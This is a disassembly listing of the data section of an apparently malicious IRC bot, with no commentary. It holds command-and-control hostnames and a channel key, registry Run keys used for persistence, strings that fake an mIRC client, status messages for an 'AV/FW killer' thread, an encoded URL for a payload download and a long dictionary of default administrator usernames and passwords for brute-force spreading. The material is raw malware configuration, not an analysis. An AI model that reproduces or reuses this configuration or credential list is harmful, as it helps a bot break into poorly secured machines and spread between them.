aGetactivewindo	db 'GetActiveWindow',0  ; DATA XREF: sub_424D78+35o
aMessageboxa	db 'MessageBoxA',0      ; DATA XREF: sub_424D78+24o
a1Qnan		db '1#QNAN',0           ; DATA XREF: sub_4256C2:loc_4257B7o
		align 10h
a1Inf		db '1#INF',0            ; DATA XREF: sub_4256C2+D8o
		align 4
a1Ind		db '1#IND',0            ; DATA XREF: sub_4256C2+C7o
		align 10h
a1Snan		db '1#SNAN',0           ; DATA XREF: sub_4256C2+ADo
		align 4
dword_427CE8	dd 0FFFFFFFFh, 4260BAh,	4260BEh, 0FFFFFFFFh, 426129h, 42612Dh
					; DATA XREF: sub_425F03+5o
		dd 427E24h
off_427D04	dd offset loc_4264E2	; DATA XREF: sub_4264BA+8o
					; sub_4264FE+2Co ...
		dd offset sub_4264D5
		dd offset sub_4266F6
		dd offset dword_427E70
off_427D14	dd offset sub_42654C	; DATA XREF: sub_4264FE+3Ao
					; sub_426568o ...
		dd offset sub_4264D5
		dd offset loc_426732
dword_427D20	dd 0			; DATA XREF: sub_4264FE+16o
					; sub_4265D0+16o
aInvalidStringP	db 'invalid string position',0 ; DATA XREF: sub_426573+11o
		dd offset dword_427EBC
off_427D40	dd offset sub_42665B	; DATA XREF: sub_426677o
					; sub_42669A+37o ...
		dd offset sub_4264D5
		dd offset loc_426714
aStringTooLong	db 'string too long',0  ; DATA XREF: sub_42669A+11o
		dd offset dword_427F00
off_427D60	dd offset loc_4267F7	; DATA XREF: sub_4267E2o
					; ___:off_43D764o ...
		dd offset dword_427F30
off_427D68	dd offset loc_426813	; DATA XREF: sub_42682F+8o
					; sub_42686C+8o ...
		dd offset sub_4268CC
aUnknownExcepti	db 'Unknown exception',0 ; DATA XREF: sub_4268CC+7o
		align 8
dword_427D88	dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF:	sub_4268D9+Eo
		dd 3, 19930520h, 2 dup(0)
dword_427DA8	dd 0FFFFFFFFh, 426A8Ah,	426A8Eh, 0FFFFFFFFh, 426B07h, 426B0Bh
					; DATA XREF: sub_426988+5o
dword_427DC0	dd 0FFFFFFFFh, 426CFFh,	426D03h, 0FFFFFFFFh, 426D5Ch, 426D60h
					; DATA XREF: sub_426C13+5o
		dd 43D764h, 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
off_427DF0	dd offset off_43D77C	; DATA XREF: ___:00427E08o
					; ___:00427E54o ...
		dd 1, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E10	dd 3 dup(0)		; DATA XREF: ___:00427E34o
		dd 2, 427E08h, 3 dup(0)
		dd offset off_43D77C
		dd offset dword_427E10+4
off_427E38	dd offset off_43D79C	; DATA XREF: ___:00427E50o
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E38
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427E5C	dd 3 dup(0)		; DATA XREF: ___:00427E80o
		dd 3, 427E50h
dword_427E70	dd 3 dup(0)		; DATA XREF: ___:00427D10o
		dd offset off_43D79C
		dd offset dword_427E5C+4
off_427E84	dd offset off_43D7BC	; DATA XREF: ___:00427E9Co
		dd 2, 0
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427E84
		dd offset off_427DF0
		dd offset dword_427DC0+18h
dword_427EA8	dd 3 dup(0)		; DATA XREF: ___:00427ECCo
		dd 3, 427E9Ch
dword_427EBC	dd 3 dup(0)		; DATA XREF: ___:00427D3Co
		dd offset off_43D7BC
		dd offset dword_427EA8+4
off_427ED0	dd offset off_43D7E0	; DATA XREF: ___:00427EE8o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_427ED0
dword_427EEC	dd 3 dup(0)		; DATA XREF: ___:00427F10o
		dd 1, 427EE8h
dword_427F00	dd 3 dup(0)		; DATA XREF: ___:00427D5Co
		dd offset off_43D7E0
		dd offset dword_427EEC+4
		dd offset dword_427DC0+18h
dword_427F18	dd 4 dup(0)		; DATA XREF: ___:00427F40o
		dd 1, 427F14h
dword_427F30	dd 3 dup(0)		; DATA XREF: ___:00427D64o
		dd offset off_43D764
		dd offset dword_427F18+8
		align 8
dword_427F48	dd 19930520h, 2, 427F68h, 5 dup(0) ; DATA XREF:	___:loc_426DF7o
		dd 0FFFFFFFFh, 426DE0h,	0
		dd offset sub_426DD8
dword_427F78	dd 19930520h, 2, 427F98h, 5 dup(0) ; DATA XREF:	___:loc_426E14o
		dd 0FFFFFFFFh, 426E04h,	0
		dd offset loc_426E0C
dword_427FA8	dd 19930520h, 2, 427FC8h, 1, 427FD8h, 3	dup(0) ; DATA XREF: ___:loc_426E20o
		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 427FF0h, 4	dup(0)
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 0D7h, 40h, 0
		dd 0FFFFFFFFh, 426E2Ah
dword_428008	dd 19930520h, 1, 428000h, 5 dup(0) ; DATA XREF:	___:loc_426E32o
		dd offset off_43D764
		align 10h
		dd 0FFFFFFFFh, 0
		dd 0Ch,	42686Ch, 0
		dd offset off_43D77C
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	426618h, 0
		dd offset off_43D79C
		align 8
		dd 0FFFFFFFFh, 0
dword_428070	dd 1Ch,	426682h, 3, 42805Ch, 428040h, 428024h ;	DATA XREF: ___:00428094o
dword_428088	dd 0			; DATA XREF: sub_426573+2Eo
					; sub_4266F6+4Bo
		dd offset sub_426568
		dd 0
		dd offset dword_428070+8
		dd 0FFFFFFFFh, 426E3Ch
dword_4280A0	dd 19930520h, 1, 428098h, 4 dup(0) ; DATA XREF:	___:loc_426E44o
		dd 0FFFFFFFFh, 426E4Eh
dword_4280C4	dd 19930520h, 1, 4280BCh, 4 dup(0) ; DATA XREF:	___:loc_426E56o
		dd 0FFFFFFFFh, 426E60h
dword_4280E8	dd 19930520h, 1, 4280E0h, 5 dup(0) ; DATA XREF:	___:loc_426E68o
		dd offset off_43D7BC
		align 10h
		dd 0FFFFFFFFh, 0
dword_428118	dd 1Ch,	4266DEh, 3, 428104h, 428040h, 428024h ;	DATA XREF: ___:0042813Co
dword_428130	dd 0			; DATA XREF: sub_42669A+2Eo
					; sub_4266F6+2Do
		dd offset sub_426677
		dd 0
		dd offset dword_428118+8
		dd 0FFFFFFFFh, 426E72h
dword_428148	dd 19930520h, 1, 428140h, 4 dup(0) ; DATA XREF:	___:loc_426E7Ao
dword_428164	dd 2, 428040h, 428024h	; DATA XREF: ___:0042817Co
dword_428170	dd 0			; DATA XREF: sub_4266F6+Fo
		dd offset sub_4264BA
		dd 0
		dd offset dword_428164
aZr_Zr_Zr_Zr_Zr	db ',‡_,‡_,‡_,‡_,‡_ãÞ',1Bh,'6ãÞ',1Bh,'6ãÞ',1Bh,'6ãÞ',1Bh,'6ãÞ',1Bh,'6ŽŒBqŽŒBqŽŒ'
		db 'BqŽŒBqŽŒBq',0
		align 10h
		dd 79h dup(0)
		dd 71428C8Eh, 0
		dd 5F90872Ch, 15h dup(0)
		dd 361BDEE3h, 2FEh dup(0)
dword_429000	dd 0			; DATA XREF: ___:0041B7A3o
		dd offset loc_401205
		dd offset sub_40D879
		dd offset sub_40D89B
		dd offset dword_40E504+1D0h
dword_429014	dd 0			; DATA XREF: ___:0041B79Eo
dword_429018	dd 0			; DATA XREF: ___:0041B794o
		dd offset sub_41D052
		dd offset sub_42026D
		dd offset sub_423936
		dd offset word_424752
dword_42902C	dd 0			; DATA XREF: ___:loc_41B78Fo
dword_429030	dd 0			; DATA XREF: sub_41B7D3+65o
		dd offset sub_4239DB
dword_429038	dd 0			; DATA XREF: sub_41B7D3:loc_41B833o
dword_42903C	dd 0			; DATA XREF: sub_41B7D3+76o
		dd offset byte_424763
dword_429044	dd 3 dup(0)		; DATA XREF: sub_41B7D3:loc_41B844o
dword_429050	dd 80000002h, 429174h, 80000002h, 4291A4h, 80000001h, 429174h
					; DATA XREF: sub_401000+7o
dword_429068	dd 6272h		; DATA XREF: sub_401000+63o
					; sub_4010AB+Bo ...
dword_42906C	dd 1B58h		; DATA XREF: ___:004016C5r
					; ___:0040175Ar
dword_429070	dd 0C8Bh		; DATA XREF: ___:004017A6r
dword_429074	dd 7E4h			; DATA XREF: sub_401ACD:loc_40461Cr
dword_429078	dd 45h			; DATA XREF: sub_401ACD+2089r
					; sub_40BACE+3Br
dword_42907C	dd 7D1h			; DATA XREF: sub_401ACD:loc_403C44r
					; sub_40BACE:loc_40BEBFr
dword_429080	dd 201h			; DATA XREF: sub_401ACD:loc_403DD0r
word_429084	dw 7C7h			; DATA XREF: sub_401ACD:loc_40473Fr
		align 4
dword_429088	dd 1			; DATA XREF: sub_401ACD+65Fr
dword_42908C	dd 1			; DATA XREF: ___:0040135Er
dword_429090	dd 1			; DATA XREF: ___:loc_401562r
					; sub_41835A+Cr
byte_429094	db 2Eh			; DATA XREF: sub_401ACD+A92r
					; sub_401ACD+B4Cr ...
		align 4
dword_429098	dd 0Ah			; DATA XREF: sub_40ACB6+3Ar
					; sub_40ACB6+60r ...
dword_42909C	dd 4			; DATA XREF: sub_4017ED+78r
					; sub_401ACD+279r ...
dword_4290A0	dd 1			; DATA XREF: sub_4017ED+72r
					; sub_401ACD+273r
aZaqwer		db 'zaqwer',0           ; DATA XREF: ___:0040127Eo
					; sub_401ACD:loc_4044A1o ...
		align 4
aAbosel7Vs	db 'abosel7 vs',0       ; DATA XREF: sub_401ACD:loc_404946o
		align 4
aCool		db 'cool',0             ; DATA XREF: sub_401ACD+7DDCo
					; sub_401ACD+7EABo
		align 10h
aSaber4_ircqfor	db 'saber4.ircqforum.com',0 ; DATA XREF: ___:004016B1o
					; ___:0040174Bo
		align 4
aFaak		db '#FAAK#',0           ; DATA XREF: ___:004016D1o
					; ___:00401761o ...
		align 10h
aSaad_		db 'saad.',0            ; DATA XREF: ___:004016E8o
					; ___:00401773o
		align 4
byte_4290E8	db 73h			; DATA XREF: ___:loc_401789r
					; ___:00401797o
aCorti1_dns2go_	db 'corti1.dns2go.com',0
		align 4
aFaak_0		db '#FAAK#',0           ; DATA XREF: ___:004017ADo
		align 4
aSaad__0	db 'saad.',0            ; DATA XREF: ___:004017BFo
		align 4
byte_42910C	db 75h			; DATA XREF: ___:00401364o
					; ___:00401388w ...
		db 70h,	64h, 65h
		dd 6E697774h, 652E7364h, 6578h
dword_42911C	dd 6E646977h, 61622E74h, 74h ; DATA XREF: ___:00411C51o
aWindsSeerscAgt	db 'Winds Seersc Agts',0 ; DATA XREF: sub_401000+Eo
		align 4
		unicode	0, <->,0
aWinsys_dat	db 'winsys.dat',0
		align 4
aXI		db '-x+i',0             ; DATA XREF: sub_401ACD+7F27o
		align 4
aF		db '#f',0               ; DATA XREF: sub_401ACD+1D46o
					; sub_401ACD+3040o ...
		align 4
aF_0		db '#f',0               ; DATA XREF: sub_401ACD+44A3o
		align 4
aF_1		db '#f',0               ; DATA XREF: sub_401ACD+40C5o
					; sub_401ACD+4217o
		align 10h
off_429160	dd offset a@admin_com	; DATA XREF: sub_401ACD:loc_4098FCo
					; "*@admin.com"
off_429164	dd offset aMircV6_16Khale ; DATA XREF: sub_401ACD+8C3r
					; sub_401ACD+7E4Bo
					; "mIRC	v6.16 Khaled Mardam-Bey"
		dd offset aMircV6_17Khale ; "mIRC v6.17	Khaled Mardam-Bey"
		dd offset aMircV6_20Khale ; "mIRC v6.20	Khaled Mardam-Bey"
		dd offset aMircV6_21Khale ; "mIRC v6.21	Khaled Mardam-Bey"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
		align 4
		db 53h
aOftwareMicroso	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E7A+28o
					; sub_41A19E+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E7A+D4o
					; sub_41A19E+D4o
		align 4
		dd 2 dup(1), 70747468h,	772F2F3Ah, 662E7777h, 77656572h
		dd 6F746265h, 632E6E77h, 7A2F6D6Fh, 2F737678h, 73636E76h
		dd 652E6D79h, 6578h, 42993Ch, 42992Ch, 42991Ch,	429910h
		dd 429908h, 429900h, 4298F8h, 4298F0h, 4298E4h,	4298DCh
		dd 4298D4h, 4298CCh, 4298C0h, 4298B8h, 4298B0h,	4298A4h
		dd 4298A0h, 429898h, 429894h, 0
		dd offset dword_43D808
		dd offset aAdministrato_0 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aAdm		; "adm"
		dd offset aPassword1	; "password1"
		dd offset aPassword	; "password"
		dd offset aPasswd	; "passwd"
		dd offset aPass1234	; "pass1234"
		dd offset aPass		; "pass"
		dd offset aPwd		; "pwd"
		dd offset a007		; "007"
		dd offset a1		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a1234567890	; "1234567890"
		dd offset a2000		; "2000"
		dd offset a2001		; "2001"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2004		; "2004"
		dd offset aTest		; "test"
		dd offset aGuest_0	; "guest"
		dd offset aNone		; "none"
		dd offset aDemo		; "demo"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aDefault	; "default"
		dd offset aSystem	; "system"
		dd offset aServer	; "server"
		dd offset aRoot		; "root"
		dd offset aNull_1	; "null"
		dd offset aQwerty	; "qwerty"
		dd offset aMail		; "mail"
		dd offset aOutlook	; "outlook"
		dd offset aWeb		; "web"
		dd offset aWww		; "www"
		dd offset aInternet	; "internet"
		dd offset aAccounts	; "accounts"
		dd offset aAccounting	; "accounting"
		dd offset aHome		; "home"
		dd offset aHomeuser	; "homeuser"
		dd offset aUser		; "user"
		dd offset aOem		; "oem"
		dd offset aOemuser	; "oemuser"
		dd offset aOeminstall	; "oeminstall"
		dd offset aWindows	; "windows"
		dd offset aWin98	; "win98"
		dd offset aWin2k	; "win2k"
		dd offset aWinxp	; "winxp"
		dd offset aWinnt	; "winnt"
		dd offset aWin2000	; "win2000"
		dd offset aQaz		; "qaz"
		dd offset aAsd		; "asd"
		dd offset aZxc		; "zxc"
		dd offset aQwe		; "qwe"
		dd offset aBob		; "bob"
		dd offset aJen		; "jen"
		dd offset aJoe		; "joe"
		dd offset aFred		; "fred"
		dd offset aBill		; "bill"
		dd offset aMike		; "mike"
		dd offset aJohn		; "john"
		dd offset aPeter	; "peter"
		dd offset aLuke		; "luke"
		dd offset aSam		; "sam"
		dd offset aSue		; "sue"
		dd offset aSusan	; "susan"
		dd offset aPeter	; "peter"
		dd offset aBrian	; "brian"
		dd offset aLee		; "lee"
		dd offset aNeil		; "neil"
		dd offset aIan		; "ian"
		dd offset aChris	; "chris"
		dd offset aEric		; "eric"
		dd offset aGeorge	; "george"
		dd offset aKate		; "kate"
		dd offset aBob		; "bob"
		dd offset aKatie	; "katie"
		dd offset aMary		; "mary"
		dd offset aLogin	; "login"
		dd offset aLoginpass	; "loginpass"
		dd offset aTechnical	; "technical"
		dd offset aBackup	; "backup"
		dd offset aExchange	; "exchange"
		dd offset aFuck		; "fuck"
		dd offset aBitch	; "bitch"
		dd offset aSlut		; "slut"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDatabase	; "database"
		dd offset aAccess	; "access"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDatabasepass	; "databasepass"
		dd offset aData		; "data"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDb1		; "db1"
		dd offset aDb2		; "db2"
		dd offset aDb1234	; "db1234"
		dd offset aSa		; "sa"
		dd offset aSql		; "sql"
		dd offset aSqlpassoainsta ; "sqlpassoainstall"
		dd offset aOrainstall	; "orainstall"
		dd offset aOracle	; "oracle"
		dd offset aIbm		; "ibm"
		dd offset aCisco	; "cisco"
		dd offset aDell		; "dell"
		dd offset aCompaq	; "compaq"
		dd offset aSiemens	; "siemens"
		dd offset aHp		; "hp"
		dd offset aNokia	; "nokia"
		dd offset aXp		; "xp"
		dd offset aControl	; "control"
		dd offset aOffice	; "office"
		dd offset aBlank	; "blank"
		dd offset aWinpass	; "winpass"
		dd offset aMain		; "main"
		dd offset aLan		; "lan"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aStaff	; "staff"
		align 10h
dword_4294D0	dd 10h			; DATA XREF: sub_401ACD+AFCr
					; sub_401ACD+B28r ...
aIntranet	db 'intranet',0         ; DATA XREF: ___:004294BCo
		align 10h
aLan		db 'lan',0              ; DATA XREF: ___:004294B4o
aMain		db 'main',0             ; DATA XREF: ___:004294B0o
		align 4
aWinpass	db 'winpass',0          ; DATA XREF: ___:004294ACo
aBlank		db 'blank',0            ; DATA XREF: ___:004294A8o
		align 4
aOffice		db 'office',0           ; DATA XREF: ___:004294A4o
		align 4
aControl	db 'control',0          ; DATA XREF: ___:004294A0o
aXp		db 'xp',0               ; DATA XREF: ___:0042949Co
		align 10h
aNokia		db 'nokia',0            ; DATA XREF: ___:00429498o
		align 4
aHp		db 'hp',0               ; DATA XREF: ___:00429494o
		align 4
aSiemens	db 'siemens',0          ; DATA XREF: ___:00429490o
aCompaq		db 'compaq',0           ; DATA XREF: ___:0042948Co
		align 4
aDell		db 'dell',0             ; DATA XREF: ___:00429488o
		align 4
aCisco		db 'cisco',0            ; DATA XREF: ___:00429484o
		align 4
aIbm		db 'ibm',0              ; DATA XREF: ___:00429480o
aOrainstall	db 'orainstall',0       ; DATA XREF: ___:00429478o
		align 4
aSqlpassoainsta	db 'sqlpassoainstall',0 ; DATA XREF: ___:00429474o
		align 10h
aSql		db 'sql',0              ; DATA XREF: ___:00429470o
aSa		db 'sa',0               ; DATA XREF: sub_401ACD+1BFDo
					; ___:0042946Co
		align 4
aDb1234		db 'db1234',0           ; DATA XREF: ___:00429468o
		align 10h
aDb1		db 'db1',0              ; DATA XREF: ___:00429460o
aDatabasepasswo	db 'databasepassword',0 ; DATA XREF: ___:0042945Co
		align 4
aData		db 'data',0             ; DATA XREF: ___:00429458o
		align 10h
aDatabasepass	db 'databasepass',0     ; DATA XREF: ___:00429454o
		align 10h
aDbpassword	db 'dbpassword',0       ; DATA XREF: ___:00429450o
		align 4
aDbpass		db 'dbpass',0           ; DATA XREF: ___:0042944Co
		align 4
aAccess		db 'access',0           ; DATA XREF: ___:00429448o
		align 4
aDomainpassword	db 'domainpassword',0   ; DATA XREF: ___:00429440o
		align 4
aDomainpass	db 'domainpass',0       ; DATA XREF: ___:0042943Co
		align 4
aDomain		db 'domain',0           ; DATA XREF: ___:00429438o
		align 10h
aHello		db 'hello',0            ; DATA XREF: ___:00429434o
		align 4
aHell		db 'hell',0             ; DATA XREF: ___:00429430o
		align 10h
aGod		db 'god',0              ; DATA XREF: ___:0042942Co
aSex		db 'sex',0              ; DATA XREF: ___:00429428o
					; ___:off_4385E8o
aSlut		db 'slut',0             ; DATA XREF: ___:00429424o
		align 10h
aBitch		db 'bitch',0            ; DATA XREF: ___:00429420o
		align 4
aFuck		db 'fuck',0             ; DATA XREF: ___:0042941Co
		align 10h
aExchange	db 'exchange',0         ; DATA XREF: ___:00429418o
		align 4
aBackup		db 'backup',0           ; DATA XREF: ___:00429414o
		align 4
aTechnical	db 'technical',0        ; DATA XREF: ___:00429410o
		align 10h
aLoginpass	db 'loginpass',0        ; DATA XREF: ___:0042940Co
		align 4
aLogin		db 'login',0            ; DATA XREF: sub_401ACD+AA3o
					; ___:00429408o
		align 4
aMary		db 'mary',0             ; DATA XREF: ___:00429404o
		align 4
aKatie		db 'katie',0            ; DATA XREF: ___:00429400o
		align 4
aKate		db 'kate',0             ; DATA XREF: ___:004293F8o
		align 4
aGeorge		db 'george',0           ; DATA XREF: ___:004293F4o
		align 4
aEric		db 'eric',0             ; DATA XREF: ___:004293F0o
		align 4
aChris		db 'chris',0            ; DATA XREF: ___:004293ECo
		align 4
aIan		db 'ian',0              ; DATA XREF: ___:004293E8o
aNeil		db 'neil',0             ; DATA XREF: ___:004293E4o
		align 10h
aLee		db 'lee',0              ; DATA XREF: ___:004293E0o
aBrian		db 'brian',0            ; DATA XREF: ___:004293DCo
		align 4
aSusan		db 'susan',0            ; DATA XREF: ___:004293D4o
		align 4
aSue		db 'sue',0              ; DATA XREF: ___:004293D0o
aSam		db 'sam',0              ; DATA XREF: ___:004293CCo
aLuke		db 'luke',0             ; DATA XREF: ___:004293C8o
		align 4
aPeter		db 'peter',0            ; DATA XREF: ___:004293C4o
					; ___:004293D8o
		align 4
aJohn		db 'john',0             ; DATA XREF: ___:004293C0o
		align 4
aMike		db 'mike',0             ; DATA XREF: ___:004293BCo
		align 4
aBill		db 'bill',0             ; DATA XREF: ___:004293B8o
		align 4
aFred		db 'fred',0             ; DATA XREF: ___:004293B4o
		align 4
aJoe		db 'joe',0              ; DATA XREF: ___:004293B0o
aJen		db 'jen',0              ; DATA XREF: ___:004293ACo
aBob		db 'bob',0              ; DATA XREF: ___:004293A8o
					; ___:004293FCo
aQwe		db 'qwe',0              ; DATA XREF: ___:004293A4o
aZxc		db 'zxc',0              ; DATA XREF: ___:004293A0o
aAsd		db 'asd',0              ; DATA XREF: ___:0042939Co
aQaz		db 'qaz',0              ; DATA XREF: ___:00429398o
aWin2000	db 'win2000',0          ; DATA XREF: ___:00429394o
aWinnt		db 'winnt',0            ; DATA XREF: ___:00429390o
		align 4
aWinxp		db 'winxp',0            ; DATA XREF: ___:0042938Co
		align 10h
aWin2k		db 'win2k',0            ; DATA XREF: ___:00429388o
		align 4
aWin98		db 'win98',0            ; DATA XREF: ___:00429384o
		align 10h
aWindows	db 'windows',0          ; DATA XREF: ___:00429380o
aOeminstall	db 'oeminstall',0       ; DATA XREF: ___:0042937Co
		align 4
aOemuser	db 'oemuser',0          ; DATA XREF: ___:00429378o
aOem		db 'oem',0              ; DATA XREF: ___:00429374o
aUser		db 'user',0             ; DATA XREF: sub_401ACD+46D4o
					; ___:00429370o
		align 4
aHomeuser	db 'homeuser',0         ; DATA XREF: ___:0042936Co
		align 4
aHome		db 'home',0             ; DATA XREF: ___:00429368o
		align 4
aAccounting	db 'accounting',0       ; DATA XREF: ___:00429364o
		align 4
aAccounts	db 'accounts',0         ; DATA XREF: ___:00429360o
		align 4
aInternet	db 'internet',0         ; DATA XREF: ___:0042935Co
					; ___:004294B8o
		align 10h
aWww		db 'www',0              ; DATA XREF: ___:00429358o
aWeb		db 'web',0              ; DATA XREF: ___:00429354o
aOutlook	db 'outlook',0          ; DATA XREF: ___:00429350o
aMail		db 'mail',0             ; DATA XREF: ___:0042934Co
		align 4
aQwerty		db 'qwerty',0           ; DATA XREF: ___:00429348o
		align 10h
aNull_1		db 'null',0             ; DATA XREF: ___:00429344o
		align 4
aServer		db 'server',0           ; DATA XREF: sub_401ACD+3E90o
					; ___:0042933Co
		align 10h
aSystem		db 'system',0           ; DATA XREF: ___:00429338o
		align 4
aChangeme	db 'changeme',0         ; DATA XREF: ___:00429330o
		align 4
aLinux		db 'linux',0            ; DATA XREF: ___:0042932Co
		align 4
aUnix		db 'unix',0             ; DATA XREF: ___:00429328o
		align 4
aDemo		db 'demo',0             ; DATA XREF: ___:00429324o
		align 4
aNone		db 'none',0             ; DATA XREF: ___:00429320o
		align 4
aTest		db 'test',0             ; DATA XREF: ___:00429318o
		align 4
a2004		db '2004',0             ; DATA XREF: ___:00429314o
		align 4
a2003		db '2003',0             ; DATA XREF: sub_41AA43+BAo
					; ___:00429310o
		align 4
a2002		db '2002',0             ; DATA XREF: ___:0042930Co
		align 4
a2001		db '2001',0             ; DATA XREF: ___:00429308o
		align 4
a2000		db '2000',0             ; DATA XREF: ___:00429304o
		align 4
a1234567890	db '1234567890',0       ; DATA XREF: ___:00429300o
		align 10h
a123456789	db '123456789',0        ; DATA XREF: ___:004292FCo
		align 4
a12345678	db '12345678',0         ; DATA XREF: ___:004292F8o
		align 4
a1234567	db '1234567',0          ; DATA XREF: ___:004292F4o
a123456		db '123456',0           ; DATA XREF: ___:004292F0o
		align 4
a12345		db '12345',0            ; DATA XREF: ___:004292ECo
		align 10h
a1234		db '1234',0             ; DATA XREF: ___:004292E8o
		align 4
a123		db '123',0              ; DATA XREF: ___:004292E4o
a12		db '12',0               ; DATA XREF: ___:004292E0o
		align 10h
a1:					; DATA XREF: ___:004292DCo
		unicode	0, <1>,0
a007		db '007',0              ; DATA XREF: ___:004292D8o
aPwd		db 'pwd',0              ; DATA XREF: ___:004292D4o
aPass		db 'pass',0             ; DATA XREF: ___:004292D0o
		align 4
aPass1234	db 'pass1234',0         ; DATA XREF: ___:004292CCo
		align 10h
aPasswd		db 'passwd',0           ; DATA XREF: ___:004292C8o
		align 4
aPassword	db 'password',0         ; DATA XREF: ___:004292C4o
		align 4
aPassword1	db 'password1',0        ; DATA XREF: ___:004292C0o
		align 10h
aAdm		db 'adm',0              ; DATA XREF: ___:004292BCo
aDb2		db 'db2',0              ; DATA XREF: ___:00429464o
aOracle		db 'oracle',0           ; DATA XREF: ___:0042947Co
		align 10h
aDba		db 'dba',0
aDatabase	db 'database',0         ; DATA XREF: ___:00429444o
		align 10h
aDefault	db 'default',0          ; DATA XREF: ___:00429334o
aGuest_0	db 'guest',0            ; DATA XREF: ___:0042931Co
		align 10h
aWwwadmin	db 'wwwadmin',0
		align 4
aTeacher	db 'teacher',0          ; DATA XREF: ___:004294C4o
aStudent	db 'student',0          ; DATA XREF: ___:004294C0o
aOwner		db 'owner',0
		align 4
aComputer	db 'computer',0
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:00429340o
		align 4
aStaff		db 'staff',0            ; DATA XREF: ___:004294C8o
		align 10h
aAdmin		db 'admin',0            ; DATA XREF: ___:004292B8o
		align 4
aAdmins		db 'admins',0           ; DATA XREF: ___:004292B4o
		align 10h
aAdministrat	db 'administrat',0      ; DATA XREF: ___:004292B0o
aAdministrateur	db 'administrateur',0   ; DATA XREF: ___:004292ACo
		align 4
aAdministrador	db 'administrador',0    ; DATA XREF: ___:004292A8o
		align 4
aAdministrato_0	db 'administrator',0    ; DATA XREF: ___:004292A4o
		align 4
aMircV6_21Khale	db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o
		align 4
aMircV6_20Khale	db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co
		align 4
aMircV6_17Khale	db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o
		align 4
aMircV6_16Khale	db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o
		align 4
a@admin_com	db '*@admin.com',0      ; DATA XREF: ___:off_429160o
dword_4299D8	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:0040168Co
aFailedToStartS	db '- Failed to start server, error: <%d>.',0
		align 4
dword_429A0C	dd 234032Dh, 6E656469h,	2036474h ; DATA	XREF: ___:00401641o
aServerRunningO	db '- Server running on Port: 113.',0
		align 4
unk_429A38	db  2Dh	; -		; DATA XREF: ___:00401614o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aFailedToStartA	db ' Failed to start AV/FW killer thread, error: <%d>.',0
		align 4
unk_429A78	db  2Dh	; -		; DATA XREF: ___:004015C3o
		db 3, 34h, 2
		db  70h	; p
		db 72h,	6Fh, 63h
		db  73h	; s
		db 3, 2, 2Dh
aAvFwKillerActi	db ' AV/FW Killer active.',0
		align 4
dword_429A9C	dd 234032Dh, 6E69616Dh,	202D0203h, 20746F42h, 72617473h
					; DATA XREF: ___:00401585o
		dd 2E646574h, 0
dword_429AB8	dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o
dword_429AC4	dd 255C7325h, 73h	; DATA XREF: ___:004013AAo
					; sub_415A30+7Eo
dword_429ACC	dd 73257325h, 0		; DATA XREF: ___:0040132Eo
					; sub_40F6B4+EAo ...
unk_429AD4	db  2Dh	; -		; DATA XREF: sub_4017ED+F2o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aConnectedToS_	db 'Connected to %s.',0
		align 4
aNickSUserS00S	db 'NICK %s',0Dh,0Ah    ; DATA XREF: sub_401955+62o
		db 'USER %s 0 0 :%s',0Dh,0Ah,0
		align 10h
aPassS		db 'PASS %s',0Dh,0Ah,0  ; DATA XREF: sub_401955+35o
		align 4
aModeSS_0	db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Fo
		align 4
aUserhostS	db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F17o
		align 4
unk_429B3C	db  2Dh	; -		; DATA XREF: sub_401ACD+7F0Ao
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aUserSLoggedIn_	db 'User: %s logged in.',0
